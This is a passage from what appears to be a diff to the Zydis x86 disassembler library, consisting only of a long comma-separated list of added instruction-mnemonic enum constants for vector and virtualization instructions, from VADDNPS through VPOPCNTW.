ZYDIS_MNEMONIC_VADDNPS, + ZYDIS_MNEMONIC_VADDPD, + ZYDIS_MNEMONIC_VADDPS, + ZYDIS_MNEMONIC_VADDSD, + ZYDIS_MNEMONIC_VADDSETSPS, + ZYDIS_MNEMONIC_VADDSS, + ZYDIS_MNEMONIC_VADDSUBPD, + ZYDIS_MNEMONIC_VADDSUBPS, + ZYDIS_MNEMONIC_VAESDEC, + ZYDIS_MNEMONIC_VAESDECLAST, + ZYDIS_MNEMONIC_VAESENC, + ZYDIS_MNEMONIC_VAESENCLAST, + ZYDIS_MNEMONIC_VAESIMC, + ZYDIS_MNEMONIC_VAESKEYGENASSIST, + ZYDIS_MNEMONIC_VALIGND, + ZYDIS_MNEMONIC_VALIGNQ, + ZYDIS_MNEMONIC_VANDNPD, + ZYDIS_MNEMONIC_VANDNPS, + ZYDIS_MNEMONIC_VANDPD, + ZYDIS_MNEMONIC_VANDPS, + ZYDIS_MNEMONIC_VBLENDMPD, + ZYDIS_MNEMONIC_VBLENDMPS, + ZYDIS_MNEMONIC_VBLENDPD, + ZYDIS_MNEMONIC_VBLENDPS, + ZYDIS_MNEMONIC_VBLENDVPD, + ZYDIS_MNEMONIC_VBLENDVPS, + ZYDIS_MNEMONIC_VBROADCASTF128, + ZYDIS_MNEMONIC_VBROADCASTF32X2, + ZYDIS_MNEMONIC_VBROADCASTF32X4, + ZYDIS_MNEMONIC_VBROADCASTF32X8, + ZYDIS_MNEMONIC_VBROADCASTF64X2, + ZYDIS_MNEMONIC_VBROADCASTF64X4, + ZYDIS_MNEMONIC_VBROADCASTI128, + ZYDIS_MNEMONIC_VBROADCASTI32X2, + ZYDIS_MNEMONIC_VBROADCASTI32X4, + ZYDIS_MNEMONIC_VBROADCASTI32X8, + ZYDIS_MNEMONIC_VBROADCASTI64X2, + ZYDIS_MNEMONIC_VBROADCASTI64X4, + ZYDIS_MNEMONIC_VBROADCASTSD, + ZYDIS_MNEMONIC_VBROADCASTSS, + ZYDIS_MNEMONIC_VCMPPD, + ZYDIS_MNEMONIC_VCMPPS, + ZYDIS_MNEMONIC_VCMPSD, + ZYDIS_MNEMONIC_VCMPSS, + ZYDIS_MNEMONIC_VCOMISD, + ZYDIS_MNEMONIC_VCOMISS, + ZYDIS_MNEMONIC_VCOMPRESSPD, + ZYDIS_MNEMONIC_VCOMPRESSPS, + ZYDIS_MNEMONIC_VCVTDQ2PD, + ZYDIS_MNEMONIC_VCVTDQ2PS, + ZYDIS_MNEMONIC_VCVTFXPNTDQ2PS, + ZYDIS_MNEMONIC_VCVTFXPNTPD2DQ, + ZYDIS_MNEMONIC_VCVTFXPNTPD2UDQ, + ZYDIS_MNEMONIC_VCVTFXPNTPS2DQ, + ZYDIS_MNEMONIC_VCVTFXPNTPS2UDQ, + ZYDIS_MNEMONIC_VCVTFXPNTUDQ2PS, + ZYDIS_MNEMONIC_VCVTNE2PS2BF16, + ZYDIS_MNEMONIC_VCVTNEPS2BF16, + ZYDIS_MNEMONIC_VCVTPD2DQ, + ZYDIS_MNEMONIC_VCVTPD2PS, + ZYDIS_MNEMONIC_VCVTPD2QQ, + ZYDIS_MNEMONIC_VCVTPD2UDQ, + ZYDIS_MNEMONIC_VCVTPD2UQQ, + ZYDIS_MNEMONIC_VCVTPH2PS, + ZYDIS_MNEMONIC_VCVTPS2DQ, + ZYDIS_MNEMONIC_VCVTPS2PD, + ZYDIS_MNEMONIC_VCVTPS2PH, + ZYDIS_MNEMONIC_VCVTPS2QQ, + ZYDIS_MNEMONIC_VCVTPS2UDQ, + ZYDIS_MNEMONIC_VCVTPS2UQQ, + ZYDIS_MNEMONIC_VCVTQQ2PD, + ZYDIS_MNEMONIC_VCVTQQ2PS, + ZYDIS_MNEMONIC_VCVTSD2SI, + ZYDIS_MNEMONIC_VCVTSD2SS, + ZYDIS_MNEMONIC_VCVTSD2USI, + ZYDIS_MNEMONIC_VCVTSI2SD, + ZYDIS_MNEMONIC_VCVTSI2SS, + ZYDIS_MNEMONIC_VCVTSS2SD, + ZYDIS_MNEMONIC_VCVTSS2SI, + ZYDIS_MNEMONIC_VCVTSS2USI, + ZYDIS_MNEMONIC_VCVTTPD2DQ, + ZYDIS_MNEMONIC_VCVTTPD2QQ, + ZYDIS_MNEMONIC_VCVTTPD2UDQ, + ZYDIS_MNEMONIC_VCVTTPD2UQQ, + ZYDIS_MNEMONIC_VCVTTPS2DQ, + ZYDIS_MNEMONIC_VCVTTPS2QQ, + ZYDIS_MNEMONIC_VCVTTPS2UDQ, + ZYDIS_MNEMONIC_VCVTTPS2UQQ, + ZYDIS_MNEMONIC_VCVTTSD2SI, + ZYDIS_MNEMONIC_VCVTTSD2USI, + ZYDIS_MNEMONIC_VCVTTSS2SI, + ZYDIS_MNEMONIC_VCVTTSS2USI, + ZYDIS_MNEMONIC_VCVTUDQ2PD, + ZYDIS_MNEMONIC_VCVTUDQ2PS, + ZYDIS_MNEMONIC_VCVTUQQ2PD, + ZYDIS_MNEMONIC_VCVTUQQ2PS, + ZYDIS_MNEMONIC_VCVTUSI2SD, + ZYDIS_MNEMONIC_VCVTUSI2SS, + ZYDIS_MNEMONIC_VDBPSADBW, + ZYDIS_MNEMONIC_VDIVPD, + ZYDIS_MNEMONIC_VDIVPS, + ZYDIS_MNEMONIC_VDIVSD, + ZYDIS_MNEMONIC_VDIVSS, + ZYDIS_MNEMONIC_VDPBF16PS, + ZYDIS_MNEMONIC_VDPPD, + ZYDIS_MNEMONIC_VDPPS, + ZYDIS_MNEMONIC_VERR, + ZYDIS_MNEMONIC_VERW, + ZYDIS_MNEMONIC_VEXP223PS, + ZYDIS_MNEMONIC_VEXP2PD, + ZYDIS_MNEMONIC_VEXP2PS, + ZYDIS_MNEMONIC_VEXPANDPD, + ZYDIS_MNEMONIC_VEXPANDPS, + ZYDIS_MNEMONIC_VEXTRACTF128, + ZYDIS_MNEMONIC_VEXTRACTF32X4, + ZYDIS_MNEMONIC_VEXTRACTF32X8, + ZYDIS_MNEMONIC_VEXTRACTF64X2, + ZYDIS_MNEMONIC_VEXTRACTF64X4, + ZYDIS_MNEMONIC_VEXTRACTI128, + ZYDIS_MNEMONIC_VEXTRACTI32X4, + ZYDIS_MNEMONIC_VEXTRACTI32X8, + ZYDIS_MNEMONIC_VEXTRACTI64X2, + ZYDIS_MNEMONIC_VEXTRACTI64X4, + ZYDIS_MNEMONIC_VEXTRACTPS, + ZYDIS_MNEMONIC_VFIXUPIMMPD, + ZYDIS_MNEMONIC_VFIXUPIMMPS, + ZYDIS_MNEMONIC_VFIXUPIMMSD, + ZYDIS_MNEMONIC_VFIXUPIMMSS, + ZYDIS_MNEMONIC_VFIXUPNANPD, + ZYDIS_MNEMONIC_VFIXUPNANPS, + ZYDIS_MNEMONIC_VFMADD132PD, + ZYDIS_MNEMONIC_VFMADD132PS, + ZYDIS_MNEMONIC_VFMADD132SD, + ZYDIS_MNEMONIC_VFMADD132SS, + ZYDIS_MNEMONIC_VFMADD213PD, + ZYDIS_MNEMONIC_VFMADD213PS, + ZYDIS_MNEMONIC_VFMADD213SD, + ZYDIS_MNEMONIC_VFMADD213SS, + ZYDIS_MNEMONIC_VFMADD231PD, + ZYDIS_MNEMONIC_VFMADD231PS, + ZYDIS_MNEMONIC_VFMADD231SD, + ZYDIS_MNEMONIC_VFMADD231SS, + ZYDIS_MNEMONIC_VFMADD233PS, + ZYDIS_MNEMONIC_VFMADDPD, + ZYDIS_MNEMONIC_VFMADDPS, + ZYDIS_MNEMONIC_VFMADDSD, + ZYDIS_MNEMONIC_VFMADDSS, + ZYDIS_MNEMONIC_VFMADDSUB132PD, + ZYDIS_MNEMONIC_VFMADDSUB132PS, + ZYDIS_MNEMONIC_VFMADDSUB213PD, + ZYDIS_MNEMONIC_VFMADDSUB213PS, + ZYDIS_MNEMONIC_VFMADDSUB231PD, + ZYDIS_MNEMONIC_VFMADDSUB231PS, + ZYDIS_MNEMONIC_VFMADDSUBPD, + ZYDIS_MNEMONIC_VFMADDSUBPS, + ZYDIS_MNEMONIC_VFMSUB132PD, + ZYDIS_MNEMONIC_VFMSUB132PS, + ZYDIS_MNEMONIC_VFMSUB132SD, + ZYDIS_MNEMONIC_VFMSUB132SS, + ZYDIS_MNEMONIC_VFMSUB213PD, + ZYDIS_MNEMONIC_VFMSUB213PS, + ZYDIS_MNEMONIC_VFMSUB213SD, + ZYDIS_MNEMONIC_VFMSUB213SS, + ZYDIS_MNEMONIC_VFMSUB231PD, + ZYDIS_MNEMONIC_VFMSUB231PS, + ZYDIS_MNEMONIC_VFMSUB231SD, + ZYDIS_MNEMONIC_VFMSUB231SS, + ZYDIS_MNEMONIC_VFMSUBADD132PD, + ZYDIS_MNEMONIC_VFMSUBADD132PS, + ZYDIS_MNEMONIC_VFMSUBADD213PD, + ZYDIS_MNEMONIC_VFMSUBADD213PS, + ZYDIS_MNEMONIC_VFMSUBADD231PD, + ZYDIS_MNEMONIC_VFMSUBADD231PS, + ZYDIS_MNEMONIC_VFMSUBADDPD, + ZYDIS_MNEMONIC_VFMSUBADDPS, + ZYDIS_MNEMONIC_VFMSUBPD, + ZYDIS_MNEMONIC_VFMSUBPS, + ZYDIS_MNEMONIC_VFMSUBSD, + ZYDIS_MNEMONIC_VFMSUBSS, + ZYDIS_MNEMONIC_VFNMADD132PD, + ZYDIS_MNEMONIC_VFNMADD132PS, + ZYDIS_MNEMONIC_VFNMADD132SD, + ZYDIS_MNEMONIC_VFNMADD132SS, + ZYDIS_MNEMONIC_VFNMADD213PD, + ZYDIS_MNEMONIC_VFNMADD213PS, + ZYDIS_MNEMONIC_VFNMADD213SD, + ZYDIS_MNEMONIC_VFNMADD213SS, + ZYDIS_MNEMONIC_VFNMADD231PD, + ZYDIS_MNEMONIC_VFNMADD231PS, + ZYDIS_MNEMONIC_VFNMADD231SD, + ZYDIS_MNEMONIC_VFNMADD231SS, + ZYDIS_MNEMONIC_VFNMADDPD, + ZYDIS_MNEMONIC_VFNMADDPS, + ZYDIS_MNEMONIC_VFNMADDSD, + ZYDIS_MNEMONIC_VFNMADDSS, + ZYDIS_MNEMONIC_VFNMSUB132PD, + ZYDIS_MNEMONIC_VFNMSUB132PS, + ZYDIS_MNEMONIC_VFNMSUB132SD, + ZYDIS_MNEMONIC_VFNMSUB132SS, + ZYDIS_MNEMONIC_VFNMSUB213PD, + ZYDIS_MNEMONIC_VFNMSUB213PS, + ZYDIS_MNEMONIC_VFNMSUB213SD, + ZYDIS_MNEMONIC_VFNMSUB213SS, + ZYDIS_MNEMONIC_VFNMSUB231PD, + ZYDIS_MNEMONIC_VFNMSUB231PS, + ZYDIS_MNEMONIC_VFNMSUB231SD, + ZYDIS_MNEMONIC_VFNMSUB231SS, + ZYDIS_MNEMONIC_VFNMSUBPD, + ZYDIS_MNEMONIC_VFNMSUBPS, + ZYDIS_MNEMONIC_VFNMSUBSD, + ZYDIS_MNEMONIC_VFNMSUBSS, + ZYDIS_MNEMONIC_VFPCLASSPD, + ZYDIS_MNEMONIC_VFPCLASSPS, + ZYDIS_MNEMONIC_VFPCLASSSD, + ZYDIS_MNEMONIC_VFPCLASSSS, + ZYDIS_MNEMONIC_VFRCZPD, + ZYDIS_MNEMONIC_VFRCZPS, + ZYDIS_MNEMONIC_VFRCZSD, + ZYDIS_MNEMONIC_VFRCZSS, + ZYDIS_MNEMONIC_VGATHERDPD, + ZYDIS_MNEMONIC_VGATHERDPS, + ZYDIS_MNEMONIC_VGATHERPF0DPD, + ZYDIS_MNEMONIC_VGATHERPF0DPS, + ZYDIS_MNEMONIC_VGATHERPF0HINTDPD, + ZYDIS_MNEMONIC_VGATHERPF0HINTDPS, + ZYDIS_MNEMONIC_VGATHERPF0QPD, + ZYDIS_MNEMONIC_VGATHERPF0QPS, + ZYDIS_MNEMONIC_VGATHERPF1DPD, + ZYDIS_MNEMONIC_VGATHERPF1DPS, + ZYDIS_MNEMONIC_VGATHERPF1QPD, + ZYDIS_MNEMONIC_VGATHERPF1QPS, + ZYDIS_MNEMONIC_VGATHERQPD, + ZYDIS_MNEMONIC_VGATHERQPS, + ZYDIS_MNEMONIC_VGETEXPPD, + ZYDIS_MNEMONIC_VGETEXPPS, + ZYDIS_MNEMONIC_VGETEXPSD, + ZYDIS_MNEMONIC_VGETEXPSS, + ZYDIS_MNEMONIC_VGETMANTPD, + ZYDIS_MNEMONIC_VGETMANTPS, + ZYDIS_MNEMONIC_VGETMANTSD, + ZYDIS_MNEMONIC_VGETMANTSS, + ZYDIS_MNEMONIC_VGF2P8AFFINEINVQB, + ZYDIS_MNEMONIC_VGF2P8AFFINEQB, + ZYDIS_MNEMONIC_VGF2P8MULB, + ZYDIS_MNEMONIC_VGMAXABSPS, + ZYDIS_MNEMONIC_VGMAXPD, + ZYDIS_MNEMONIC_VGMAXPS, + ZYDIS_MNEMONIC_VGMINPD, + ZYDIS_MNEMONIC_VGMINPS, + ZYDIS_MNEMONIC_VHADDPD, + ZYDIS_MNEMONIC_VHADDPS, + ZYDIS_MNEMONIC_VHSUBPD, + ZYDIS_MNEMONIC_VHSUBPS, + ZYDIS_MNEMONIC_VINSERTF128, + ZYDIS_MNEMONIC_VINSERTF32X4, + ZYDIS_MNEMONIC_VINSERTF32X8, + ZYDIS_MNEMONIC_VINSERTF64X2, + ZYDIS_MNEMONIC_VINSERTF64X4, + ZYDIS_MNEMONIC_VINSERTI128, + ZYDIS_MNEMONIC_VINSERTI32X4, + ZYDIS_MNEMONIC_VINSERTI32X8, + ZYDIS_MNEMONIC_VINSERTI64X2, + ZYDIS_MNEMONIC_VINSERTI64X4, + ZYDIS_MNEMONIC_VINSERTPS, + ZYDIS_MNEMONIC_VLDDQU, + ZYDIS_MNEMONIC_VLDMXCSR, + ZYDIS_MNEMONIC_VLOADUNPACKHD, + ZYDIS_MNEMONIC_VLOADUNPACKHPD, + ZYDIS_MNEMONIC_VLOADUNPACKHPS, + ZYDIS_MNEMONIC_VLOADUNPACKHQ, + ZYDIS_MNEMONIC_VLOADUNPACKLD, + ZYDIS_MNEMONIC_VLOADUNPACKLPD, + ZYDIS_MNEMONIC_VLOADUNPACKLPS, + ZYDIS_MNEMONIC_VLOADUNPACKLQ, + ZYDIS_MNEMONIC_VLOG2PS, + ZYDIS_MNEMONIC_VMASKMOVDQU, + ZYDIS_MNEMONIC_VMASKMOVPD, + ZYDIS_MNEMONIC_VMASKMOVPS, + ZYDIS_MNEMONIC_VMAXPD, + ZYDIS_MNEMONIC_VMAXPS, + ZYDIS_MNEMONIC_VMAXSD, + ZYDIS_MNEMONIC_VMAXSS, + ZYDIS_MNEMONIC_VMCALL, + ZYDIS_MNEMONIC_VMCLEAR, + ZYDIS_MNEMONIC_VMFUNC, + ZYDIS_MNEMONIC_VMINPD, + ZYDIS_MNEMONIC_VMINPS, + ZYDIS_MNEMONIC_VMINSD, + ZYDIS_MNEMONIC_VMINSS, + ZYDIS_MNEMONIC_VMLAUNCH, + ZYDIS_MNEMONIC_VMLOAD, + ZYDIS_MNEMONIC_VMMCALL, + ZYDIS_MNEMONIC_VMOVAPD, + ZYDIS_MNEMONIC_VMOVAPS, + ZYDIS_MNEMONIC_VMOVD, + ZYDIS_MNEMONIC_VMOVDDUP, + ZYDIS_MNEMONIC_VMOVDQA, + ZYDIS_MNEMONIC_VMOVDQA32, + ZYDIS_MNEMONIC_VMOVDQA64, + ZYDIS_MNEMONIC_VMOVDQU, + ZYDIS_MNEMONIC_VMOVDQU16, + ZYDIS_MNEMONIC_VMOVDQU32, + ZYDIS_MNEMONIC_VMOVDQU64, + ZYDIS_MNEMONIC_VMOVDQU8, + ZYDIS_MNEMONIC_VMOVHLPS, + ZYDIS_MNEMONIC_VMOVHPD, + ZYDIS_MNEMONIC_VMOVHPS, + ZYDIS_MNEMONIC_VMOVLHPS, + ZYDIS_MNEMONIC_VMOVLPD, + ZYDIS_MNEMONIC_VMOVLPS, + ZYDIS_MNEMONIC_VMOVMSKPD, + ZYDIS_MNEMONIC_VMOVMSKPS, + ZYDIS_MNEMONIC_VMOVNRAPD, + ZYDIS_MNEMONIC_VMOVNRAPS, + ZYDIS_MNEMONIC_VMOVNRNGOAPD, + ZYDIS_MNEMONIC_VMOVNRNGOAPS, + ZYDIS_MNEMONIC_VMOVNTDQ, + ZYDIS_MNEMONIC_VMOVNTDQA, + ZYDIS_MNEMONIC_VMOVNTPD, + ZYDIS_MNEMONIC_VMOVNTPS, + ZYDIS_MNEMONIC_VMOVQ, + ZYDIS_MNEMONIC_VMOVSD, + ZYDIS_MNEMONIC_VMOVSHDUP, + ZYDIS_MNEMONIC_VMOVSLDUP, + ZYDIS_MNEMONIC_VMOVSS, + ZYDIS_MNEMONIC_VMOVUPD, + ZYDIS_MNEMONIC_VMOVUPS, + ZYDIS_MNEMONIC_VMPSADBW, + ZYDIS_MNEMONIC_VMPTRLD, + ZYDIS_MNEMONIC_VMPTRST, + ZYDIS_MNEMONIC_VMREAD, + ZYDIS_MNEMONIC_VMRESUME, + ZYDIS_MNEMONIC_VMRUN, + ZYDIS_MNEMONIC_VMSAVE, + ZYDIS_MNEMONIC_VMULPD, + ZYDIS_MNEMONIC_VMULPS, + ZYDIS_MNEMONIC_VMULSD, + ZYDIS_MNEMONIC_VMULSS, + ZYDIS_MNEMONIC_VMWRITE, + ZYDIS_MNEMONIC_VMXOFF, + ZYDIS_MNEMONIC_VMXON, + ZYDIS_MNEMONIC_VORPD, + ZYDIS_MNEMONIC_VORPS, + ZYDIS_MNEMONIC_VP2INTERSECTD, + ZYDIS_MNEMONIC_VP2INTERSECTQ, + ZYDIS_MNEMONIC_VP4DPWSSD, + ZYDIS_MNEMONIC_VP4DPWSSDS, + ZYDIS_MNEMONIC_VPABSB, + ZYDIS_MNEMONIC_VPABSD, + ZYDIS_MNEMONIC_VPABSQ, + ZYDIS_MNEMONIC_VPABSW, + ZYDIS_MNEMONIC_VPACKSSDW, + ZYDIS_MNEMONIC_VPACKSSWB, + ZYDIS_MNEMONIC_VPACKSTOREHD, + ZYDIS_MNEMONIC_VPACKSTOREHPD, + ZYDIS_MNEMONIC_VPACKSTOREHPS, + ZYDIS_MNEMONIC_VPACKSTOREHQ, + ZYDIS_MNEMONIC_VPACKSTORELD, + ZYDIS_MNEMONIC_VPACKSTORELPD, + ZYDIS_MNEMONIC_VPACKSTORELPS, + ZYDIS_MNEMONIC_VPACKSTORELQ, + ZYDIS_MNEMONIC_VPACKUSDW, + ZYDIS_MNEMONIC_VPACKUSWB, + ZYDIS_MNEMONIC_VPADCD, + ZYDIS_MNEMONIC_VPADDB, + ZYDIS_MNEMONIC_VPADDD, + ZYDIS_MNEMONIC_VPADDQ, + ZYDIS_MNEMONIC_VPADDSB, + ZYDIS_MNEMONIC_VPADDSETCD, + ZYDIS_MNEMONIC_VPADDSETSD, + ZYDIS_MNEMONIC_VPADDSW, + ZYDIS_MNEMONIC_VPADDUSB, + ZYDIS_MNEMONIC_VPADDUSW, + ZYDIS_MNEMONIC_VPADDW, + ZYDIS_MNEMONIC_VPALIGNR, + ZYDIS_MNEMONIC_VPAND, + ZYDIS_MNEMONIC_VPANDD, + ZYDIS_MNEMONIC_VPANDN, + ZYDIS_MNEMONIC_VPANDND, + ZYDIS_MNEMONIC_VPANDNQ, + ZYDIS_MNEMONIC_VPANDQ, + ZYDIS_MNEMONIC_VPAVGB, + ZYDIS_MNEMONIC_VPAVGW, + ZYDIS_MNEMONIC_VPBLENDD, + ZYDIS_MNEMONIC_VPBLENDMB, + ZYDIS_MNEMONIC_VPBLENDMD, + ZYDIS_MNEMONIC_VPBLENDMQ, + ZYDIS_MNEMONIC_VPBLENDMW, + ZYDIS_MNEMONIC_VPBLENDVB, + ZYDIS_MNEMONIC_VPBLENDW, + ZYDIS_MNEMONIC_VPBROADCASTB, + ZYDIS_MNEMONIC_VPBROADCASTD, + ZYDIS_MNEMONIC_VPBROADCASTMB2Q, + ZYDIS_MNEMONIC_VPBROADCASTMW2D, + ZYDIS_MNEMONIC_VPBROADCASTQ, + ZYDIS_MNEMONIC_VPBROADCASTW, + ZYDIS_MNEMONIC_VPCLMULQDQ, + ZYDIS_MNEMONIC_VPCMOV, + ZYDIS_MNEMONIC_VPCMPB, + ZYDIS_MNEMONIC_VPCMPD, + ZYDIS_MNEMONIC_VPCMPEQB, + ZYDIS_MNEMONIC_VPCMPEQD, + ZYDIS_MNEMONIC_VPCMPEQQ, + ZYDIS_MNEMONIC_VPCMPEQW, + ZYDIS_MNEMONIC_VPCMPESTRI, + ZYDIS_MNEMONIC_VPCMPESTRM, + ZYDIS_MNEMONIC_VPCMPGTB, + ZYDIS_MNEMONIC_VPCMPGTD, + ZYDIS_MNEMONIC_VPCMPGTQ, + ZYDIS_MNEMONIC_VPCMPGTW, + ZYDIS_MNEMONIC_VPCMPISTRI, + ZYDIS_MNEMONIC_VPCMPISTRM, + ZYDIS_MNEMONIC_VPCMPLTD, + ZYDIS_MNEMONIC_VPCMPQ, + ZYDIS_MNEMONIC_VPCMPUB, + ZYDIS_MNEMONIC_VPCMPUD, + ZYDIS_MNEMONIC_VPCMPUQ, + ZYDIS_MNEMONIC_VPCMPUW, + ZYDIS_MNEMONIC_VPCMPW, + ZYDIS_MNEMONIC_VPCOMB, + ZYDIS_MNEMONIC_VPCOMD, + ZYDIS_MNEMONIC_VPCOMPRESSB, + ZYDIS_MNEMONIC_VPCOMPRESSD, + ZYDIS_MNEMONIC_VPCOMPRESSQ, + ZYDIS_MNEMONIC_VPCOMPRESSW, + ZYDIS_MNEMONIC_VPCOMQ, + ZYDIS_MNEMONIC_VPCOMUB, + ZYDIS_MNEMONIC_VPCOMUD, + ZYDIS_MNEMONIC_VPCOMUQ, + ZYDIS_MNEMONIC_VPCOMUW, + ZYDIS_MNEMONIC_VPCOMW, + ZYDIS_MNEMONIC_VPCONFLICTD, + ZYDIS_MNEMONIC_VPCONFLICTQ, + ZYDIS_MNEMONIC_VPDPBUSD, + ZYDIS_MNEMONIC_VPDPBUSDS, + ZYDIS_MNEMONIC_VPDPWSSD, + ZYDIS_MNEMONIC_VPDPWSSDS, + ZYDIS_MNEMONIC_VPERM2F128, + ZYDIS_MNEMONIC_VPERM2I128, + ZYDIS_MNEMONIC_VPERMB, + ZYDIS_MNEMONIC_VPERMD, + ZYDIS_MNEMONIC_VPERMF32X4, + ZYDIS_MNEMONIC_VPERMI2B, + ZYDIS_MNEMONIC_VPERMI2D, + ZYDIS_MNEMONIC_VPERMI2PD, + ZYDIS_MNEMONIC_VPERMI2PS, + ZYDIS_MNEMONIC_VPERMI2Q, + ZYDIS_MNEMONIC_VPERMI2W, + ZYDIS_MNEMONIC_VPERMIL2PD, + ZYDIS_MNEMONIC_VPERMIL2PS, + ZYDIS_MNEMONIC_VPERMILPD, + ZYDIS_MNEMONIC_VPERMILPS, + ZYDIS_MNEMONIC_VPERMPD, + ZYDIS_MNEMONIC_VPERMPS, + ZYDIS_MNEMONIC_VPERMQ, + ZYDIS_MNEMONIC_VPERMT2B, + ZYDIS_MNEMONIC_VPERMT2D, + ZYDIS_MNEMONIC_VPERMT2PD, + ZYDIS_MNEMONIC_VPERMT2PS, + ZYDIS_MNEMONIC_VPERMT2Q, + ZYDIS_MNEMONIC_VPERMT2W, + ZYDIS_MNEMONIC_VPERMW, + ZYDIS_MNEMONIC_VPEXPANDB, + ZYDIS_MNEMONIC_VPEXPANDD, + ZYDIS_MNEMONIC_VPEXPANDQ, + ZYDIS_MNEMONIC_VPEXPANDW, + ZYDIS_MNEMONIC_VPEXTRB, + ZYDIS_MNEMONIC_VPEXTRD, + ZYDIS_MNEMONIC_VPEXTRQ, + ZYDIS_MNEMONIC_VPEXTRW, + ZYDIS_MNEMONIC_VPGATHERDD, + ZYDIS_MNEMONIC_VPGATHERDQ, + ZYDIS_MNEMONIC_VPGATHERQD, + ZYDIS_MNEMONIC_VPGATHERQQ, + ZYDIS_MNEMONIC_VPHADDBD, + ZYDIS_MNEMONIC_VPHADDBQ, + ZYDIS_MNEMONIC_VPHADDBW, + ZYDIS_MNEMONIC_VPHADDD, + ZYDIS_MNEMONIC_VPHADDDQ, + ZYDIS_MNEMONIC_VPHADDSW, + ZYDIS_MNEMONIC_VPHADDUBD, + ZYDIS_MNEMONIC_VPHADDUBQ, + ZYDIS_MNEMONIC_VPHADDUBW, + ZYDIS_MNEMONIC_VPHADDUDQ, + ZYDIS_MNEMONIC_VPHADDUWD, + ZYDIS_MNEMONIC_VPHADDUWQ, + ZYDIS_MNEMONIC_VPHADDW, + ZYDIS_MNEMONIC_VPHADDWD, + ZYDIS_MNEMONIC_VPHADDWQ, + ZYDIS_MNEMONIC_VPHMINPOSUW, + ZYDIS_MNEMONIC_VPHSUBBW, + ZYDIS_MNEMONIC_VPHSUBD, + ZYDIS_MNEMONIC_VPHSUBDQ, + ZYDIS_MNEMONIC_VPHSUBSW, + ZYDIS_MNEMONIC_VPHSUBW, + ZYDIS_MNEMONIC_VPHSUBWD, + ZYDIS_MNEMONIC_VPINSRB, + ZYDIS_MNEMONIC_VPINSRD, + ZYDIS_MNEMONIC_VPINSRQ, + ZYDIS_MNEMONIC_VPINSRW, + ZYDIS_MNEMONIC_VPLZCNTD, + ZYDIS_MNEMONIC_VPLZCNTQ, + ZYDIS_MNEMONIC_VPMACSDD, + ZYDIS_MNEMONIC_VPMACSDQH, + ZYDIS_MNEMONIC_VPMACSDQL, + ZYDIS_MNEMONIC_VPMACSSDD, + ZYDIS_MNEMONIC_VPMACSSDQH, + ZYDIS_MNEMONIC_VPMACSSDQL, + ZYDIS_MNEMONIC_VPMACSSWD, + ZYDIS_MNEMONIC_VPMACSSWW, + ZYDIS_MNEMONIC_VPMACSWD, + ZYDIS_MNEMONIC_VPMACSWW, + ZYDIS_MNEMONIC_VPMADCSSWD, + ZYDIS_MNEMONIC_VPMADCSWD, + ZYDIS_MNEMONIC_VPMADD231D, + ZYDIS_MNEMONIC_VPMADD233D, + ZYDIS_MNEMONIC_VPMADD52HUQ, + ZYDIS_MNEMONIC_VPMADD52LUQ, + ZYDIS_MNEMONIC_VPMADDUBSW, + ZYDIS_MNEMONIC_VPMADDWD, + ZYDIS_MNEMONIC_VPMASKMOVD, + ZYDIS_MNEMONIC_VPMASKMOVQ, + ZYDIS_MNEMONIC_VPMAXSB, + ZYDIS_MNEMONIC_VPMAXSD, + ZYDIS_MNEMONIC_VPMAXSQ, + ZYDIS_MNEMONIC_VPMAXSW, + ZYDIS_MNEMONIC_VPMAXUB, + ZYDIS_MNEMONIC_VPMAXUD, + ZYDIS_MNEMONIC_VPMAXUQ, + ZYDIS_MNEMONIC_VPMAXUW, + ZYDIS_MNEMONIC_VPMINSB, + ZYDIS_MNEMONIC_VPMINSD, + ZYDIS_MNEMONIC_VPMINSQ, + ZYDIS_MNEMONIC_VPMINSW, + ZYDIS_MNEMONIC_VPMINUB, + ZYDIS_MNEMONIC_VPMINUD, + ZYDIS_MNEMONIC_VPMINUQ, + ZYDIS_MNEMONIC_VPMINUW, + ZYDIS_MNEMONIC_VPMOVB2M, + ZYDIS_MNEMONIC_VPMOVD2M, + ZYDIS_MNEMONIC_VPMOVDB, + ZYDIS_MNEMONIC_VPMOVDW, + ZYDIS_MNEMONIC_VPMOVM2B, + ZYDIS_MNEMONIC_VPMOVM2D, + ZYDIS_MNEMONIC_VPMOVM2Q, + ZYDIS_MNEMONIC_VPMOVM2W, + ZYDIS_MNEMONIC_VPMOVMSKB, + ZYDIS_MNEMONIC_VPMOVQ2M, + ZYDIS_MNEMONIC_VPMOVQB, + ZYDIS_MNEMONIC_VPMOVQD, + ZYDIS_MNEMONIC_VPMOVQW, + ZYDIS_MNEMONIC_VPMOVSDB, + ZYDIS_MNEMONIC_VPMOVSDW, + ZYDIS_MNEMONIC_VPMOVSQB, + ZYDIS_MNEMONIC_VPMOVSQD, + ZYDIS_MNEMONIC_VPMOVSQW, + ZYDIS_MNEMONIC_VPMOVSWB, + ZYDIS_MNEMONIC_VPMOVSXBD, + ZYDIS_MNEMONIC_VPMOVSXBQ, + ZYDIS_MNEMONIC_VPMOVSXBW, + ZYDIS_MNEMONIC_VPMOVSXDQ, + ZYDIS_MNEMONIC_VPMOVSXWD, + ZYDIS_MNEMONIC_VPMOVSXWQ, + ZYDIS_MNEMONIC_VPMOVUSDB, + ZYDIS_MNEMONIC_VPMOVUSDW, + ZYDIS_MNEMONIC_VPMOVUSQB, + ZYDIS_MNEMONIC_VPMOVUSQD, + ZYDIS_MNEMONIC_VPMOVUSQW, + ZYDIS_MNEMONIC_VPMOVUSWB, + ZYDIS_MNEMONIC_VPMOVW2M, + ZYDIS_MNEMONIC_VPMOVWB, + ZYDIS_MNEMONIC_VPMOVZXBD, + ZYDIS_MNEMONIC_VPMOVZXBQ, + ZYDIS_MNEMONIC_VPMOVZXBW, + ZYDIS_MNEMONIC_VPMOVZXDQ, + ZYDIS_MNEMONIC_VPMOVZXWD, + ZYDIS_MNEMONIC_VPMOVZXWQ, + ZYDIS_MNEMONIC_VPMULDQ, + ZYDIS_MNEMONIC_VPMULHD, + ZYDIS_MNEMONIC_VPMULHRSW, + ZYDIS_MNEMONIC_VPMULHUD, + ZYDIS_MNEMONIC_VPMULHUW, + ZYDIS_MNEMONIC_VPMULHW, + ZYDIS_MNEMONIC_VPMULLD, + ZYDIS_MNEMONIC_VPMULLQ, + ZYDIS_MNEMONIC_VPMULLW, + ZYDIS_MNEMONIC_VPMULTISHIFTQB, + ZYDIS_MNEMONIC_VPMULUDQ, + ZYDIS_MNEMONIC_VPOPCNTB, + ZYDIS_MNEMONIC_VPOPCNTD, + ZYDIS_MNEMONIC_VPOPCNTQ, + ZYDIS_MNEMONIC_VPOPCNTW, + 